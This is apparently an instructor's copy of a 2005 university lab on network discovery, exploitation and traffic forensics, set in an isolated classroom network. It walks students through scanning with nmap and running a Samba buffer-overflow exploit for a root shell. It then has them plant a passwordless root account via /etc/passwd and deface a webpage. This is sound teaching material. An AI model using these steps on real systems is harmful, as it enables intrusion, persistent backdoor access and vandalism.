RADICL Lab 1 (Instructor's Copy)
Network Discovery, Attack and Network Traffic Forensics

Originally conducted on February 23, 25th 2005
Time Required: One class period, 40-50 min
Lab Written and Tested by: Sergio Caltagirone and David Manz

Possible Additions: install a rootkit and use that to regain access to the compromised web-server, use TCPDump instead of Ethereal, install Snort on the web-server and have the alerts show up on a projector when the box is compromised

[*INSTRUCTORS: This lab is the same as the student copy, except for notes written in italics and surrounded by brackets for easy differentiation.*]

[*LAB SETUP: One machine should be imaged with the image 'netsec-lab1-server.' This contains a RedHat 7.1 base install with SSH, Apache, Samba. It also has a fake webpage installed where they can download the script 'sambal.c' and folders for each group in /var/www/html/ so that each group can deface their own webpage while leaving the main page alone for other groups still working. A copy of the /etc/passwd file should be in the /root/ directory so that if there are problems it can be copied back over. Make sure that the server has the correct IP address (by default it will be 1.1.1.2). The student machines should be imaged with 'dougs_sec_distro', which contains all of the tools (nmap, ethereal, firefox, gcc) necessary to complete the lab in a Gentoo distribution.*

Setup the KVM so that there is one account that only has access to the student machines, the students will login using that account. Assign the students/groups numbers ahead of time and tell them the specific machine to use from the KVM selection screen. It would be helpful to also set these machines, the server and the student boxes, into a separate VLAN to protect any other experiment running.]

Learning Objectives: Differentiate between types of traffic, use a network discovery tool to locate machines, services, and vulnerabilities on a network, and learn how an attacker uses an attack script to access a machine.

[*More importantly, to teach the general methodology of a hacker/attacker – investigate, select target, compromise, do stuff, exit. This lab is not created to teach them any one particular tool. Although the students, through lecture, should already be familiar with them.*]

Scenario: You are the attacker in this scenario. You've been hired by E-Corp, an ecommerce company, to hack into and deface Big-Corp's (an E-Corp competitor) website. You will use a network discovery tool to find a vulnerable web-server on the network. Then use a web-browser to browse the website and secure e-commerce of the site to make sure that it is the company you are targeting. Finally, execute the attack script to gain access to the machine and use the vi editor to edit the webpage.

[*This scenario was taken from an actual story (http://www.zdnet.com/zdnn/stories/news/0,4586,2626931,00.html) of professional corporate espionage hackers – this is a serious threat*]

Deliverables: Write a 2 page report for E-Corp (your employer) describing your activities and the results of your activities. The report should be written in a way so that E-Corp can do this again in the future. Include in your report: your motivation, the tools you used, a description of your actions, the results of your actions, and a description of the various types of network traffic (e.g. web traffic, SSH traffic, attack traffic, etc.) that you analyzed (with specific traits of each type of traffic). Make sure to include a paragraph on the ethical and legal concerns of these activities in a non-lab environment. -> You will also be expected to keep notes during the lab regarding interesting IP addresses, command line arguments that were helpful, etc. These will also be included with the report (but do not necessarily have to be formally typed up as opposed to the formal report). OPTIONAL: Look through the exploit source code for where the exploit actually takes place, and some other additional characteristics of this exploit. Include your findings in the report.

[*Make sure that the students have the source code accessible to them for the purpose of exploring exploit code.*]

[*Keeping a page of notes during the lab is important for the authentic recreation of an actual hacker's activities, the page should contain important information and things they learned during the lab. If they're working in groups, one person can keep notes while the other is typing and they can turn in one copy of the notes*]

[*Things to look for in the reports: (overview) a description of their activity,(motivation) they're paid by E-Corp, (network traffic analysis) HTTP 3-way handshake, SYN packets incoming from IPs other than their own (the result of nmap against their machine) – their machine should respond with a RST packet designating the port as closed, HTML was sent in clear text while SSH traffic was encrypted, the attack script launched and the shell responding, (ethical/legal) an ethical argument, Computer Fraud and Misuse Act (18 US 1030), any state statutes, (source code) hack was buffer overflow in function exploit_normal(int)*]

Tools To Be Used:

- Gentoo: A Linux distribution
- nmap: A network discovery, service discovery and vulnerability discovery tool
- Firefox: A web browser
- vi or pico: A text editor
- Ethereal: A network traffic sniffer (with graphical interface)
- A buffer-overflow attack script

Directions:

You will not be able to print, email, or otherwise transport data out of the RADICL lab, so it is imperative that you take the notes necessary to compose the report.

[*As of the writing of this lab, there was not network printer, but that may have changed in the future allowing the students to print out some of their work*]

You will be using Gentoo, a Linux distribution during this lab that has been installed with a graphical manager called Fluxbox. The distribution has been bundled with a number of security tools that you are free to explore during this lab. Right click on the screen to bring up a menu and select your tool. Some tools, however, will only be available in the command line (xterm selection on the fluxbox interface).

[*If the KVM has not been logged into, tell the students about the KVM username to use and their machine to choose.]*

If your workstation has not been logged into, login to your workstation using the username 'root' and password 'password'.

Start by doing some network discovery, see what's out there and what it is running. Do this by using nmap (on the command line). Use nmap to scan our local RADICL network: 1.1.1.[0-100]. (Use 'nmap –h' to find necessary commands) Find the Linux box running Samba and an HTTP and HTTPS service.

[*nmap –sV is a good command for this exercise, if students do not find it on their own, they should be let aware of it sometime into the lab after their own experimentation.*]

Once you have collected some information (IP addresses, interesting services, OSes running, etc.) it is time to get down to business. First you should know something about your box (like your IP address), get this information by using 'ifconfig eth0' on the command line.

Then start up Ethereal to start collecting network packet information for future analysis.

- Use fluxbox to select Ethereal
  - Go to Capture->Start in the Ethereal menu
  - Make sure eth0 is selected, and uncheck the promiscuous box
  - Click start
  - Run this window in the background for the next steps

Open up Firefox using fluxbox. Browse (http://<IPADDRESS>) to the IP address that you already know is running an HTTP server. Click on the link that is available. Now download the script that is available on the website.

- Make a directory called 'exploits' in the root partition using the command line
  - mkdir /root/exploits
- Right click on the link to the file -> save to /root/exploits

[*They can also make the directory directly from firefox's save dialog box*]

Now go into the exploits directory, ‘cd /root/exploits’ and compile the attack script by running the gcc compiler: ‘gcc sambal.c –o sambal’

Now, go ahead and run the attack script. You can do this on the command line: ‘./sambal’. It will show you the correct usage of the script. You should already have the necessary information compiled from the previous steps to successfully run the script.

[*They should run the script by: ‘./sambal 0 <victimIP> <theirIP>’*]
For the next stage, your group number will have been assigned to you, and your group name you can make up. Please make sure that your group name contains NO SPACES, and is relatively unique for the class.

The script, when successful will return you a root shell (primitive shell) to the server. When a shell is returned, you should be able to ‘cd /’ and ‘ls’ the root directory. Now, add a user to the system by executing the command **(BE VERY CAREFUL WITH THIS COMMAND)**: echo ‘<GROUP NAME>::0:0::/root:/bin/bash’ >> /etc/passwd
Now type the command ‘passwd <GROUP NAME>’ and give your new user a password.

Type ‘exit’ to get out of the script. Now use ssh to get back into the server by typing ‘ssh <GROUP NAME>@<IP ADDRESS>’. It will ask you for your password, which you provided before. You will now have access to the server and all of the editors for the next step.

Now deface the website (of your group) by going to the WWW directory, ‘cd /var/www/html/group<GROUP NUMBER>’. Use either vi or pico to edit the index.html file and insert the text: “U R HAXORD BY l337 <YOUR FIRST NAMES> <GROUP NUMBER>”. Test that your defacement has been successful by using Firefox, browse to (http://<IP ADDRESS>/group<GROUP NUMBER>/).

Open up the Ethereal window now, and click on the stop button to stop Ethereal from collecting packets. Use the Ethereal windows to examine the network traffic that you have collected. Identify several events in the traffic (e.g. the unencrypted from encrypted HTTP (and SSH) traffic, your execution of the exploits, etc.) Make sure you note what differentiates these events apart in the network traffic and how you were able to tell.

[*Tell students to make the bottom third window larger in Ethereal to make the packet payload visible.*]

[*If students finish early, encourage them to try other tools available on the machine, or use nmap more (like try a xmas-tree scan instead of a syn scan) – tell them to stay off the HTTP server if they are done though to protect it for other students*]

You are now finished with the lab. Close the connection to the hacked server by typing ‘exit’ in the remote shell window and then close all windows and logout of the machine.

[*PROBLEMS DURING THE LAB AND HOW TO FIX THEM:*

Students receive 'passwd: Unknown user name' when they try the 'passwd <GROUP NAME>' command (messed up the /etc/passwd command):

- *have them re-run the command with a different username*
- *copy over the saved copy of /etc/passwd from /root/ if first step doesn't work and have them run the command again*

Students get a 403 – Forbidden trying to access their group webpage:

- *somebody changed the group directory permissions, change them back to 755*

Student's desktop (in fluxbox) disappeared:

- *They went to another virtual desktop; try all of the function keys (it is probably on F1 screen) or the arrows on the bottom of the screen*

Students get a 'localhost.localdomain not found' pop-up dialog when attempting to access their group's website

- *They need to add a trailing / to the end of the URL (this is an early version of apache that does not add the ending / to a URL for the user)*

]